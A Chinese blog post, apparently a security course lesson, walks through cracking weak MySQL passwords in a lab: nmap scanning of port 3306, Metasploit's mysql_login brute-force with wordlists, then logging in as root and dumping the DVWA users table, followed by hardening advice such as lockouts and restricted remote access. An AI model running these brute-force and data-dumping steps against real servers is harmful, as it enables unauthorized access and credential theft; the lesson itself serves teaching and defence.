当前位置:网站首页>6-21漏洞利用-mysql弱口令破解
6-21漏洞利用-mysql弱口令破解
2022-07-29 02:08:00 【山兔1】

mysql介绍
Mysql是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于Oracle旗下产品。Mysql 是最流行的关系型数据库管理系统之一,在WEB应用方面,mysql是最好的RDBMS(Relational Database Management System,关系数据库管理系统)应用软件。
每一段内容存储到表当中,多张表进行对应的组合,存储对应的数据,内键、外键、唯一的索引,不同的值,都有对应的联系,这就是我们关系数据库的大概
Mysql是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据存放在一个大仓库内,非关系型数据库,mydbs、mongdb,把数据存储到大的内存当中,而不是存储到大的表当中,他们没有表的概念,存储到表当中,是提高了搜索的速度,并且有更强的灵活性
我们可以在mysql官网,查看mysql的信息:https://www.mysql.com/
探测目标mysql
使用nmap -sV -p 3306 IP地址,默认mysql是运行在3306的,探测目标mysql版本信息。

nmap -sV -p 3306 192.168.42.137

msf破解mysql密码
使用msf下的mysql_login模块破解mysql登录用户名和密码

msfconsole
use auxiliary/scanner/mysql/mysql_login
show options

set rhosts 192.168.1.105
show options

set user_file /home/kali/Desktop/user.txt
set pass_file /home/kali/Desktop/PASS.txt

show options
run

当我们拿到mysql用户名密码之后,我们就可以登录到mysql客户端,来查看数据库当中,存储的数据
登录数据库查看数据
使用mysql -h IP地址 -u root 登录数据库系统
mysql -h 192.168.1.105 -u root
show databases;

use dvwa;
show tables;
select * from users;

以上就是我们破解用户名,登录数据库,查看数据
我们之所以能够破解成功,是因为我们的数据库用户名过于简单,用户名使用了root这个用户,以及密码是空密码,或者是其它简单密码,都是很容易被破解出来的,这个时候,我们需要防御这样的探测,就需要将用户名密码,设计的比较复杂,使得不是那么容易被破解,以及可以设计阈值,当我们错误三次登录之后,就会封锁对应的IP,限制登录十分钟,这样就不能很快速的破解,甚至无法破解,我们可以修改mysql默认端口,3306,将它设计成其它端口,迷惑我们的探测,同时,我们不允许mysql外联,只能通过127.0.0.1进行本地连接,否则不进行连接,或者指定具体的IP地址,进行连接,不能任意的IP都能连接到mysql上
边栏推荐
- What are the TCP retransmission mechanisms?
- MySQL和Redis的双写一致性
- 线上3d数字展厅制作方案及优点
- 会议OA之会议通知
- Understand the evolution of redis architecture in one article
- MQTT例程
- Esbuild Bundler HMR
- redis为什么快,消息队列,单线程
- Three implementation methods of Servlet
- Remember error scheduler once Asynceventqueue: dropping event from queue shared causes OOM
猜你喜欢

Multimodal unsupervised image to image translation

VR safety training of mine mining virtual reality improves employees' vigilance and protection awareness

Quickly master nodejs installation and getting started

MQTT例程

一文读懂Okaleido Tiger近期动态,挖掘背后价值与潜力

How much is the report development cost in the application system?

Multimodal Unsupervised Image-to-Image Translation多通道无监督图像翻译

Redis master-slave mode, sentinel cluster, fragment cluster

K210——声源定位、声音识别

6 years of testing experience, teaching you how to test ~ how to control the project
随机推荐
K210——声源定位、声音识别
代码随想录笔记_哈希_349两个数的交集
云开发打工人必备上班摸鱼划水微信小程序源码
What if there is not enough time for adequate testing?
Three implementation methods of Servlet
ECCV 2022 | AirDet:无需微调的小样本目标检测方法
Ten methods to prevent blackmail software from attacking data
Summary of knowledge points of Engineering Economics
How much is the report development cost in the application system?
redis为什么快,消息队列,单线程
Read the recent trends of okaleido tiger and tap the value and potential behind it
手把手教你安装VSCode(附带图解步骤)
What are the TCP retransmission mechanisms?
Virsh console connection failure
一文理解分布式开发中的服务治理
一文读懂Okaleido Tiger近期动态,挖掘背后价值与潜力
7/28 Gauss elimination to solve linear equations + Gauss elimination to solve XOR linear equations + find the combination number II
Explanation of engineering economics terms
HTTP breakpoint resume and cache problems
[upload pictures can be cut-1]